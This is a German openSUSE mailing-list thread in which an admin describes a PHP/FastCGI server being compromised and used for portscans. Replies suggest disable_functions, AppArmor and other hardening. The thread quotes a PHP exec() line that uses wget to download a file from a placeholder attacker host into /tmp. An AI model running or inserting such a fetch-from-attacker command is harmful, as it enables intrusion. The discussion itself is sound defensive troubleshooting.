PHP, Wget und /tmp/ und böse Hacker
Hallo, ich betreibe einen OpenSuSE 12.1 Apache mit FastCGi. Darauf laufen einige Hosts. Ich habe vor ein paar Jahren vom mod_php auf fastcgi umgestellt, wegen div. Sicherheitsprobleme. Lange Zeit war das auch OK. Meine VHosts laufen mit OpenBaseDirRestriction und FastCGI wird so konfiguriert: exec /usr/bin/php-cgi -d open_basedir=/srv/www/htdocs/user12/:/usr/share/php5/PEAR/ -d session.save_path=/srv/www/htdocs/user12/temp/ -d upload_tmp_dir=/srv/www/htdocs/user12/temp. Heute Nacht gab es Probleme. Irgend ein Script wurde zum Portscan eines fremden Servers genutzt, dabei wurde ein Script mit dem Namen pshak auf meinen Server ausgeführt. Ich habe das Script im /tmp/ Verzeichniss gefunden. Dort wurde es anscheinend über einen uralten phpMyAdmin hochgeladen. Ich habe mittlerweile auch rausgefunden das man weiterhin per php etwas ins normale /tmp/ kopieren kann. Obwohl die open_basedir restriction das ja eigentlich nicht erlaubt. Ein Programm wie dieses scheitert auch daran:
Am Thu, 02 May 2013 19:08:57 +0200
schrieb "I.H."
exec("/usr/bin/wget www.hackerseite-url.org/test.tar -o /tmp/test_download.tar");
test.tar landet tatsächlich im /tmp/ Der Angreifer hat es auch geschafft Dateien die dort sind auszuführen. Wie genau weiss ich noch nicht. Fehlt mir hier ein wichtiger Baustein in meiner Webserver-Konfiguration? Oder muss ich wget und curl irgendwie abschalten?
Oder muss ich den Usern /tmp/ irgendwie verbieten. Hat da wer Erfahrung damit und kann mir weiterhelfen.
Viele Grüße
Ingo
Es gibt einige Empfehlungen, PHP sicherer zu machen. Dazu gehört, in der php.ini verschiedene Funktionen global abzuklemmen. exec() gehört auf jeden Fall dazu, ebenso passthru() und einige andere. Das sind riesige Einfallstore, durch die ein Angreifer beliebige Shellkommandos ausführen kann. Suche mal nach "PHP" und "Sicherheit", da wirst du fündig. Jürgen -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner@opensuse.org
Hallo Ingo, hallo Leute, Am Donnerstag, 2. Mai 2013 schrieb I.H.:
open_basedir=/srv/www/htdocs/user12/:/usr/share/php5/PEAR/
Obwohl die open_basedir restriction das ja eigentlich nicht erlaubt. Ein Programm wie dieses scheitert auch daran:
Aber mittels wget funktioniert es dann doch:
exec("/usr/bin/wget www.hackerseite-url.org/test.tar -o /tmp/test_download.tar");
test.tar landet tatsächlich im /tmp/
Wie Du erfolgreich ;-) festgestellt hast, ist open_basedir kein Allheilmittel und greift nur für PHP-interne Funktionen.
Fehlt mir hier ein wichtiger Baustein in meiner Webserver-Konfiguration? Oder muss ich wget und curl irgendwie abschalten?
Ältere PHP-Versionen hatten den safe_mode - aber der ist rausgeflogen, weil er nicht wirklich "safe" war. Evtl. hilft Dir die PHP-Option disable_functions weiter, das ist aber kein Allheilmittel.
Oder muss ich den Usern /tmp/ irgendwie verbieten. Hat da wer Erfahrung damit und kann mir weiterhelfen.
Ich persönlich bevorzuge Whitelisting statt Blacklisting - es ist alles verboten, das ich nicht ausdrücklich erlaube. [1] Mittel zum Zweck ist AppArmor + Apache-Modul mod_apparmor, damit ich jeden vHost einzeln konfigurieren kann. Bei Interesse findest Du auf http://blog.cboltz.de/archives/65-openSUSE-conference.html ein PDF ("AppArmor Crashkurs"), mit dem Du zumindest einen Einstieg ins Thema bekommst. Mehr Details stehen im Security Manual auf doc.opensuse.org. Als Bonus bekommst Du "ps Zaux", mit dem Du siehst, in welchem vHost ein Apache-Prozess gerade werkelt. AppArmor ist prinzipiell recht einfach zu lernen, aber in Verbindung mit Apache wirst Du doch etwas Zeit brauchen, bis Du alle Feinheiten justiert hast. (Das Ganze ist ein Balanceact zwischen "sicher, aber die Kunden meckern" und "fast alles erlauben".) Gruß Christian Boltz [1] Jedenfalls vom Prinzip her - ich habe die meisten vHosts im complain mode laufen. Das heißt, dass nicht tatsächlich geblockt wird, sondern "nur" ins Log geschrieben. -- It's the goldmaster - there're no bugs ;-) [Andreas Jäger about SuSE 9.3] -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner@opensuse.org
Am 02.05.2013 19:08, schrieb I.H.:
Hallo,
ich betreibe einen OpenSuSE 12.1 Apache mit FastCGi. Darauf laufen einige Hosts. Ich habe vor ein paar Jahren vom mod_php auf fastcgi umgestellt, wegen div. Sicherheitsprobleme. Lange Zeit war das auch OK. Meine VHosts laufen mit OpenBaseDirRestriction und FastCGI wird so konfiguriert:
exec /usr/bin/php-cgi -d open_basedir=/srv/www/htdocs/user12/:/usr/share/php5/PEAR/ -d session.save_path=/srv/www/htdocs/user12/temp/ -d upload_tmp_dir=/srv/www/htdocs/user12/temp.
Heute Nacht gab es Probleme. Irgend ein Script wurde zum Portscan eines fremden Servers genutzt, dabei wurde ein Script mit dem Namen pshak auf meinen Server ausgeführt. Ich habe das Script im /tmp/ Verzeichniss gefunden. Dort wurde es anscheinend über einen uralten phpMyAdmin hochgeladen. Ich habe mittlerweile auch rausgefunden das man weiterhin per php etwas ins normale /tmp/ kopieren kann.
Obwohl die open_basedir restriction das ja eigentlich nicht erlaubt. Ein Programm wie dieses scheitert auch daran:
Aber mittels wget funktioniert es dann doch:
exec("/usr/bin/wget www.hackerseite-url.org/test.tar -o /tmp/test_download.tar");
test.tar landet tatsächlich im /tmp/ Der Angreifer hat es auch geschafft Dateien die dort sind auszuführen. Wie genau weiss ich noch nicht. Fehlt mir hier ein wichtiger Baustein in meiner Webserver-Konfiguration? Oder muss ich wget und curl irgendwie abschalten?
Oder muss ich den Usern /tmp/ irgendwie verbieten. Hat da wer Erfahrung damit und kann mir weiterhelfen.
Viele Grüße
Ingo Hallo Ingo,
das betrifft Dein Problem jetzt nur sehr am Rande, aber Dein Satz "Der Angreifer hat es auch geschafft Dateien die dort sind auszuführen. Wie genau weiss ich noch nicht. " erinnerte mich spontan an ein Hacker-Problem, das ich vor ca. 6 Monaten hatte: Ich, gerade im Urlaub, sitze im Cafe. Vor mir Laptop und ein Cappucino. Ich lese meine emails und finde ein mail von meinem ISP mit dem Inhalt, dass von meiner IP aus andere Rechner belästigt werden. Und ich möge das bitte sofort abstellen. Etwas panisch bin ich sofort über vpn in meinen Firmen-Server eingestiegen. Ich hatte keine Ahnung wie ich wonach suchen sollte. Also mit "ps" mal die laufenden Prozesse angeschaut. Und das finde gleich mal einen "verdächtigen" Prozess mit eigenartigem Namen der unter der UID von "nobody" lief. Ein "kill" bewirkte nur dass der Prozess sofort wieder mit einer neuen PID da war. Ich habe dann das binary gesucht, umbenannt und nochmal gekill. Dann war Ruhe in der Dose und ich konnte mal etwas beruhigter auf die Suche gehen. Jedenfalls hatte es der Angreifger offenbar geschafft, vermutlich über ftp, eine Datei auf meinen Server hochzuladen, diese dann unter der UID "nobody" zu compilieren und danach auszuführen. Er konnte zwar auf dem Server selbst als "nobody" nichts anrichten, aber er konnte meine Internetverbindung für die Belästigung anderer Rechner misbrauchen. Seither gibt es auf diesem Server die UID "nobody" nicht mehr. Vielleicht hilft's Dir weiter... Grüße, Norbert -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner@opensuse.org
Am 02.05.2013 19:08, schrieb I.H.:
test.tar landet tatsächlich im /tmp/ Der Angreifer hat es auch geschafft Dateien die dort sind auszuführen. Wie genau weiss ich noch nicht.
Wie er es zum Ausführen geschafft hat, kann ich dir zwar auch nicht sagen, aber als kleiner Denkanstoß: Dateien, die hochgeladen werden, landen für die Dauer des Scriptlaufs auch in /tmp/. Wird das Script beendet, verschwindet aber üblicherweise auch die Datei. Und sie hat einen nicht unbedingt vorhersagbaren Namen. Gruß Uli -- Um die Liste abzubestellen, schicken Sie eine Mail an: opensuse-de+unsubscribe@opensuse.org Um den Listen Administrator zu erreichen, schicken Sie eine Mail an: opensuse-de+owner@opensuse.org
participants (5)
-
Christian Boltz
-
I.H.
-
Juergen Langowski
-
Norbert Zawodsky
-
Ulrich Gehauf